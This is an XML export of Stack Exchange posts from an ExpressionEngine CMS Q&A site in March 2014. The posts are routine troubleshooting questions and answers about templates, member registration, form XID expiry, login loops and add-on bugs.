  <row Id="20671" PostTypeId="1" AcceptedAnswerId="20685" CreationDate="2014-03-26T08:08:14.197" Score="0" ViewCount="67" Body="&lt;p&gt;Here in this code I am finding a feed expert and then producing his avatar. Conditions are needed to control the conditions of this avatar output. So this is what must happen:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;firstly if there is a expert in the channel entry then use his avatar&#xA;BUT (here is where the if statement comes in)&lt;/li&gt;&#xA;&lt;li&gt;if you choose an expert &lt;em&gt;who does not have an image in the images channel&lt;/em&gt; then show this default image OR if you DO NOT choose an expert then also show the default image. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How do I do this? See code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if &quot;{feed_expert:total_children}&quot; &amp;gt; 0}&#xA;    {exp:playa:children field=&quot;feed_expert&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;div class=&quot;col-sm-4 col-xs-7&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;feed-expert&quot;&amp;gt;&#xA;    {exp:channel_images:images entry_id=&quot;{entry_id}&quot; field_id=&quot;185&quot; limit=&quot;1&quot;}&#xA;    {if image:no_images}&amp;lt;img src=&quot;/httpdocs/static/img/sihlouette.jpg&quot; class=&quot;img-responsive&quot;&amp;gt;{/if}&#xA;&amp;lt;img src=&quot;{image:url}&quot; class=&quot;img-responsive&quot;/&amp;gt;&#xA;{/exp:channel_images:images}                                                &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;  &#xA;{/exp:playa:children}  &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2865" LastEditorUserId="1326" LastEditDate="2014-03-26T12:47:16.813" LastActivityDate="2014-03-26T17:20:00.153" Title="If {there is no image} OR {if there is no expert} then use a certain image" Tags="|playa|conditionals|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20672" PostTypeId="1" AcceptedAnswerId="20678" CreationDate="2014-03-26T09:26:29.827" Score="2" ViewCount="370" Body="&lt;p&gt;I am using Freemember to manage my site members information and registration etc, however I have come across an issue with my current setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to use the 'Self-activation via email' option so that new registrants have to verify their email address before gaining access to the site. With this I have 3 initial member groups for different levels of access, so I have 3 separate forms to register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this I have setup the forms to use the parameter group_id=&quot;8&quot; for example, so the user is added to the correct group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the problem now is that when a user registers using one of these forms they can login straight away without having to verify their email via the activation link which is due to them being added straight to the member group bypassing the 'pending' stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same as this question: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14644/new-member-registration-set-to-require-activation-but-new-registrants-are-worki&quot;&gt;New member registration set to require activation, but new registrants are working without it&lt;/a&gt;, although it doesn't offer an alternative method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a way to utilise both features where the user is first added as 'pending' but when they activate via the link they are added to the correct member group according to the form they used initially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Wes.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2020-12-29T10:46:05.190" Title="Member groups, Freemember and self-activation via email?" Tags="|members|freemember|registration|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20673" PostTypeId="2" ParentId="20670" CreationDate="2014-03-26T10:08:57.430" Score="1" Body="&lt;p&gt;You'll want to upgrade Fieldpack to &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;2.1.1&lt;/a&gt; (make sure to read &lt;a href=&quot;http://docs.pixelandtonic.com/fieldpack/installation.html&quot; rel=&quot;nofollow&quot;&gt;installation notes&lt;/a&gt;!)&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-03-26T10:08:57.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20675" PostTypeId="2" ParentId="20449" CreationDate="2014-03-26T11:38:37.313" Score="-2" Body="&lt;p&gt;When you post through to Sage Pay from your site Sage Pay will process the transaction for you and feedback the results of the AVS/CV2 checks that have been performed by the card issuer. At this point we will send you a notification post containing these results, your site must then send through an acknowledgment that this POST has been received and letting Sage Pay know how you wish to proceed. You will need to include three fields within your acknowledgment, these are listed below with their descriptions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Status&lt;/strong&gt; - Alphabetic, Max 20 characters. This field can have multiple responses.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OK – Send this if you successfully received the notification Post from Sage Pay. Send this unless an error occurs during notification.   &lt;/li&gt;&#xA;&lt;li&gt;INVALID – send INVALID if the details you received in the post from Sage Pay were consistent with expectations for this Transaction but you do not wish to accept the transaction. The RedirectURL must still be provided, and Sage Pay will still redirect the Customer back to your site, but the transaction will NOT be settled with the bank. Only send this result if you want to cancel the transaction.  &lt;/li&gt;&#xA;&lt;li&gt;ERROR – An error has occurred during your Notification processing. The Sage Pay system will check for a RedirectURL, and if one is provided the Customer will be redirected to your site, but the transaction will NOT be settled with the bank. Only send this result if you want to cancel the transaction and report an ERROR to Sage Pay.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please Note: OK statuses will allow the transaction to settle and money to move into the Vendor account. INVALID or ERROR responses will prevent the transaction from settling, so the customer will not be charged.  You should send OK in all circumstances where no errors occur in validating the Notification POST, so even if Sage Pay send you a status of ABORT or NOTAUTHED, you should reply with an OK and a RedirectURL that points to a page informing the customer that the transaction did not complete.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;RedirectURL&lt;/strong&gt; - Alphanumeric, Max 255 characters. This is a fully qualified URL (including http:// or https:// header) to which you’d like the customer redirected on completion of the transaction.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please Note: If you wish to pass parameters back to your own site (such as the session id or transaction code), these should be included in RedirectURL.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;StatusDetail&lt;/strong&gt; - Alphanumeric, Max 255 characters. This should be human-readable text providing extra detail for the Status message. If Status is not OK, state what is wrong with the Transaction and why you are rejecting it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you are receiving an error message and are sending through the correct fields and responses please check you clear your response buffer to remove any header code, comments or HTML. The Sage Pay Server is expecting “Status=” to be the first characters in the response. If it does not see these, it treats the response as though it is an error and fails the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also note that all POSTs must be communicated through ports 80 and 443.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are receiving a 5006 error message this would suggest that we are having trouble understanding the information that is being passed to us at this point.&lt;/p&gt;&#xA;" OwnerUserId="2577" LastActivityDate="2014-03-26T11:38:37.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20676" PostTypeId="2" ParentId="20626" CreationDate="2014-03-26T11:49:32.183" Score="0" Body="&lt;p&gt;If you don't appear to be check that your base URLs match - IE you aren't logged in at a &quot;www.&quot; URL and viewing at a non-www url. Or vice-versa.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-03-26T11:49:32.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20677" PostTypeId="1" CreationDate="2014-03-26T14:01:00.403" Score="1" ViewCount="28" Body="&lt;p&gt;I have some odd behavior with a site. I using the Pages Module and I have a template assigned correctly for entering new pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every so often though, I'll go to the page on the front end and see the page does not look right. So I go to edit and I see the Pages Module has reassigned this page to another template. So I change it back... come back a few days later and it's changed again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behavior seems to happen on its own, not necessarily after editing anything or even visiting the site. I'm the only one editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone had a similar issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, anyone have an better solution to organizing without relying on Structure/Pages/Categories. The fact that the Pages Module does not work on the front-end via Channel Forms makes for client page creation impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.7.3&lt;/p&gt;&#xA;" OwnerUserId="1773" LastActivityDate="2014-03-26T14:01:00.403" Title="Pages Module Randomly Reassigns Template" Tags="|pages|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20678" PostTypeId="2" ParentId="20672" CreationDate="2014-03-26T14:11:05.303" Score="2" Body="&lt;p&gt;A user is either pending, and after activation is automatically added to the default member group. Or, if you set the group_id, is immediatly added to a particular member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get what you want (let user activate, and only then assign to a specific member group) you need a custom solution. For instance, store the group_id in a custom member field, and on activation use that field, verify it is in allowed range, and then set the group id.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-03-26T14:11:05.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20679" PostTypeId="2" ParentId="20506" CreationDate="2014-03-26T14:40:30.383" Score="1" Body="&lt;p&gt;We have an add-on for this that is very simple to use and will allow you to put a plugin tag under your form {exp:formrefresher} and if that template is loaded via the back button it will refresh the page, and will refresh your form with a new XID to remove the users frustration on repeated form submissions with errors do to expired XID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form Refresher -&gt; &lt;a href=&quot;https://devot-ee.com/add-ons/form-refresher&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/form-refresher&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2886" LastEditorUserId="2886" LastEditDate="2014-03-26T16:15:04.460" LastActivityDate="2014-03-26T16:15:04.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20680" PostTypeId="1" CreationDate="2014-03-26T15:33:36.547" Score="1" ViewCount="343" Body="&lt;p&gt;We are using Channel Form to allow guests to submit contest entries into an EE 2.8.1 site. The form has many fields including an essay field which means it could take some time for someone to complete the form and submit it. During my own tests, I received the EE expired form error message several times when the form had only been open for a few minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go about extending the life of an XID hash to a longer block of time?&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2014-05-29T16:58:12.527" Title="How can I extend the life of an XID hash in EE 2.8.1?" Tags="|forms|xid|secureforms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20681" PostTypeId="1" CreationDate="2014-03-26T15:43:57.430" Score="1" ViewCount="168" Body="&lt;p&gt;We're finding that on login forms for users who are not super admins we get this response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a server or config issue maybe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.3&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2014-03-26T15:43:57.430" Title="No matching hash algorithm on login" Tags="|login|security|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20682" PostTypeId="2" ParentId="20632" CreationDate="2014-03-26T16:01:18.133" Score="1" Body="&lt;p&gt;Not sure I understand the question well but here is my take on it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start with a &lt;code&gt;url_title&lt;/code&gt; in your last segment&lt;/li&gt;&#xA;&lt;li&gt;Find the entry in channel E corresponding to that &lt;code&gt;url_title&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Several entries in channel B are potentially related to that entry using the &lt;code&gt;e_tag_b&lt;/code&gt; field. Following EE terminology, those entries are the &quot;parents&quot; of the entry in channel B&lt;/li&gt;&#xA;&lt;li&gt;Get the titles of those &quot;parents&quot; entries.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let's try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;E&quot; url_title=&quot;{last_segment}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;Related (parents) entries:&amp;lt;/p&amp;gt;&#xA;&#xA;    {parents channel=&quot;B&quot; field=&quot;e_tag_b&quot;}&#xA;        {if parents:count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;            &amp;lt;li&amp;gt;{parents:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {if parents:count == parents:total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;    {/parents}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2014-03-26T16:06:45.830" LastActivityDate="2014-03-26T16:06:45.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20683" PostTypeId="2" ParentId="20680" CreationDate="2014-03-26T16:03:43.690" Score="4" Body="&lt;p&gt;1.) Ensure your server time is set correctly and check your ExpressionEngine &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/localization_settings.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;server timezone setting&lt;/a&gt;. Both the form hash ID and the session ID are time sensitive. If ExpressionEngine is calculating when to expire them based on an incorrect time, your hash ID may expire much sooner than it should.&lt;/p&gt;&#xA;&lt;p&gt;2.) Quickest way to test whether it’s due to Secure Mode is to turn Secure Mode off (in the control panel under Admin ‣ Security and Privacy ‣ Security and Sessions). Leaving Secure Mode off is obviously not recommended. But this allows you to quickly determine if Secure Mode is indeed at issue.&lt;/p&gt;&#xA;&lt;p&gt;3.) You can also use this command ee()-&amp;gt;security-&amp;gt;restore_xid(); To restore an expired XID. So you could use a timed request on your end that would restore the xid after its expired, or on submit of the form restore the xid and then submit.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-03-26T16:29:57.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20685" PostTypeId="2" ParentId="20671" CreationDate="2014-03-26T17:20:00.153" Score="0" Body="&lt;p&gt;Sounds like you just need an else statement&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{feed_expert:total_children}&quot; &amp;gt; 0} {!-- If expert is selected --}&#xA;   {exp:playa:children field=&quot;feed_expert&quot; entry_id=&quot;{entry_id}&quot;}&#xA;     &amp;lt;div class=&quot;col-sm-4 col-xs-7&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;feed-expert&quot;&amp;gt;&#xA;        {exp:channel_images:images entry_id=&quot;{entry_id}&quot; field_id=&quot;185&quot; limit=&quot;1&quot;}&#xA;           {if image:no_images} {!-- Output default image --}&#xA;              &amp;lt;img src=&quot;/httpdocs/static/img/sihlouette.jpg&quot; class=&quot;img-responsive&quot;&amp;gt;&#xA;           {/if}&#xA;           &amp;lt;img src=&quot;{image:url}&quot; class=&quot;img-responsive&quot;/&amp;gt;&#xA;        {/exp:channel_images:images}&#xA;        &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;  &#xA;   {/exp:playa:children}  &#xA;{if:else} {!-- If no experts are selected output default image--}&#xA;   &amp;lt;div class=&quot;col-sm-4 col-xs-7&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;feed-expert&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;/httpdocs/static/img/sihlouette.jpg&quot; class=&quot;img-responsive&quot;&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-03-26T17:20:00.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20686" PostTypeId="1" CreationDate="2014-03-26T17:59:53.883" Score="1" ViewCount="6088" Body="&lt;p&gt;I updated from 2.1.0 to 2.8.1 and afterwards tried to login to the CP, got this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This form has expired. Please refresh and try again.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Made sure there was no folders in the cache but I maybe something is stuck in the db.  Not sure and need some help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2014-04-11T16:49:26.207" Title="Error After Install" Tags="|ee2-upgrades|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20687" PostTypeId="1" AcceptedAnswerId="21399" CreationDate="2014-03-26T18:08:25.133" Score="0" ViewCount="333" Body="&lt;p&gt;Recently upgraded to EE 2.8.1 and was worried about some things discussed in &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19971&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prior to EE 2.8 we were able to use the &lt;code&gt;user_session_ttl&lt;/code&gt; config to set the user's session to whatever duration we pleased. But that &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#user-session-ttl&quot; rel=&quot;nofollow&quot;&gt;config&lt;/a&gt; no longer exists, instead the user's session is now hardcoded to 2 hours (different if remember me is checked) (and cp sessions are 1 hour by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any options out there asides from editing core for managing session lengths?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or perhaps I am missing something?&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2014-04-23T17:54:47.153" Title="Managing user session length in EE 2.8 +?" Tags="|sessions|2.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20688" PostTypeId="2" ParentId="20576" CreationDate="2014-03-26T18:21:41.727" Score="2" Body="&lt;p&gt;This is a bug in Freeform 4.1.4 and 4.1.5. This will be fixed in Freeform 4.1.6 which we are working on now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like to patch it yourself in the meantime, in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./system/expressionengine/third_party/freeform/libraries/Freeform_notifications.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;around line 484, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;variables['from_email']      = $from_name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;variables['from_email']      = $from_email;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-26T18:21:41.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20689" PostTypeId="2" ParentId="20658" CreationDate="2014-03-26T18:25:08.013" Score="0" Body="&lt;p&gt;Have you tried using a snippet instead? Snippets parse before global variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to download this PDF from Low about the parsing order as I always find it handy when dealing with those issues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;http://loweblog.com/downloads/ee-parse-order.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-03-26T18:25:08.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20691" PostTypeId="1" AcceptedAnswerId="20695" CreationDate="2014-03-26T19:33:28.680" Score="1" ViewCount="57" Body="&lt;p&gt;On the home page of a site I am displaying a series of articles. In between each of these articles I wish to display a banner ad controlled via Low Variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment it repeats the first ad between each channel entry instead of correctly looping through the banner ads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;articles&quot; limit=&quot;14&quot; disable=&quot;categories|category-fields|member-data&quot;}&#xA;&#xA;&amp;lt;article&amp;gt;&#xA;&amp;lt;p&amp;gt;{article_subtitle}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{title_permalink='articles/view'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;figure&amp;gt;&amp;lt;a href=&quot;{title_permalink='articles/view'}&quot;&amp;gt;&#xA;{article_images cover_only=&quot;yes&quot;}&#xA;&amp;lt;img src=&quot;{image:url:large}&quot; alt=&quot;{image:title}&quot; /&amp;gt;&#xA;{/article_images}&#xA;&amp;lt;/a&amp;gt;&amp;lt;/figure&amp;gt;&#xA;&amp;lt;p&amp;gt;Lorem Ipsum&amp;lt;/p&amp;gt;&#xA;&amp;lt;a href=&quot;{title_permalink='articles/view'}&quot;&amp;gt;Further reading +&amp;lt;/a&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;&#xA;{exp:low_variables:parse var=&quot;banner_ads&quot; multiple=&quot;yes&quot; limit=&quot;1&quot;}&#xA;&amp;lt;div class=&quot;banner-ad&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;{banner_ads_link}&quot;&amp;gt;&amp;lt;img src=&quot;{banner_ads_image_desktop}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:low_variables:parse}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-03-26T20:32:02.990" Title="Insert Low Variables Between Channel Entries" Tags="|channel-entries|low-variables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20692" PostTypeId="1" AcceptedAnswerId="20696" CreationDate="2014-03-26T20:07:42.957" Score="3" ViewCount="679" Body="&lt;p&gt;I having a login problem with EE 2.8.1. When you type in the username and password on the front end login screen you get redirected back to the same screen and do not seem to get logged in. No errors. The username and password are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this issue may be related to cookies and sessions but I have cleared all cookies, tried in all browsers in incognito windows and it still won't work. I have a 2.7.1 install on the same server and this doesn't have the problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to site &lt;code&gt;domain.dev/admin.php&lt;/code&gt; it redirects me to &lt;code&gt;domain.dev/admin.php?/cp/login?return=&lt;/code&gt; and when I type the username and password it redirects with what I think is a session ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add some additional information, if I disable cookies for the domain I get directed to a page and gives me an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This form has expired. Please refresh and try again.&quot;&lt;/p&gt;&#xA;" OwnerUserId="687" LastEditorUserId="687" LastEditDate="2014-03-26T20:21:09.673" LastActivityDate="2014-03-28T15:47:13.143" Title="2.8.1 Login loop" Tags="|login|2.8|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20693" PostTypeId="1" AcceptedAnswerId="20694" CreationDate="2014-03-26T20:09:52.747" Score="2" ViewCount="49" Body="&lt;p&gt;I have created new Members Group with following privileges:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Can access the control panel&#xA;- Can access CONTENT section&#xA;- Can access CONTENT: Publish&#xA;- Can access CONTENT: Edit&#xA;- Can access CONTENT: File Manager&#xA;- Can access ADD-ONS: Modules&#xA;- Can post and edit entries in: Products&#xA;- Can access module: Store&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I'm not able to see &quot;Store&quot; button in the control panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.7.3 and Store 2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-26T20:26:49.253" Title="EE Members Group + Expresso Store and CP &quot;Store&quot; button issue" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20694" PostTypeId="2" ParentId="20693" CreationDate="2014-03-26T20:26:49.253" Score="1" Body="&lt;p&gt;It looks like I forgot to enable &lt;code&gt;Can access ADD-ONS section&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mea culpa&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-26T20:26:49.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20695" PostTypeId="2" ParentId="20691" CreationDate="2014-03-26T20:32:02.990" Score="2" Body="&lt;p&gt;You might be able to do this with the help of &lt;a href=&quot;http://devot-ee.com/add-ons/math&quot; rel=&quot;nofollow&quot;&gt;Math&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse&#xA;    var=&quot;banner_ads&quot;&#xA;    offset=&quot;{exp:math formula='{count}-1'}&quot;&#xA;    limit=&quot;1&quot;&#xA;    parse=&quot;inward&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-03-26T20:32:02.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20696" PostTypeId="2" ParentId="20692" CreationDate="2014-03-26T20:41:41.787" Score="4" Body="&lt;p&gt;I finally found out that Structure 3.3.1 is the culprit when you set it to redirect to Structure on login. You can get past it by editing the config file and change &lt;code&gt;$config['allow_extensions'] = 'y';&lt;/code&gt; to &lt;code&gt;$config['allow_extensions'] = 'n';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="687" LastActivityDate="2014-03-26T20:41:41.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20697" PostTypeId="1" AcceptedAnswerId="20699" CreationDate="2014-03-26T20:45:59.477" Score="1" ViewCount="150" Body="&lt;p&gt;I have create new members group (EE 2.7.3) and have enabled there&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can edit and add new categories&lt;/li&gt;&#xA;&lt;li&gt;Can delete categories&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but when member of that group is trying to add/edit category it says &lt;code&gt;You are not authorized to access this page&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-26T21:05:55.740" Title="Member of the group and managing categories" Tags="|categories|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20698" PostTypeId="2" ParentId="20692" CreationDate="2014-03-26T20:46:42.087" Score="3" Body="&lt;p&gt;If you get in touch with Travis at Structure, there's a BETA which will resolve the 'redirect to structure on login' with 2.8x.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-03-26T20:46:42.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20699" PostTypeId="2" ParentId="20697" CreationDate="2014-03-26T21:05:55.740" Score="1" Body="&lt;p&gt;I have found that useful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/216317/#999955&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/216317/#999955&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the Category group settings Admin&gt;Channel admin&gt;Categories does the&#xA;  member group have permissions there?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-26T21:05:55.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20700" PostTypeId="2" ParentId="20659" CreationDate="2014-03-26T21:09:11.750" Score="0" Body="&lt;p&gt;There was a line set_time_limit(30) in /system/third_party/playa/ft.playa.php that was overriding the set_time_limit I had set in MAMPs PHP settings. The line was:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;set_time_limit(30)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After increasing the default from (30) Playa was able to update the old table to the new exp_playa_relationships table.&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2014-03-26T21:09:11.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
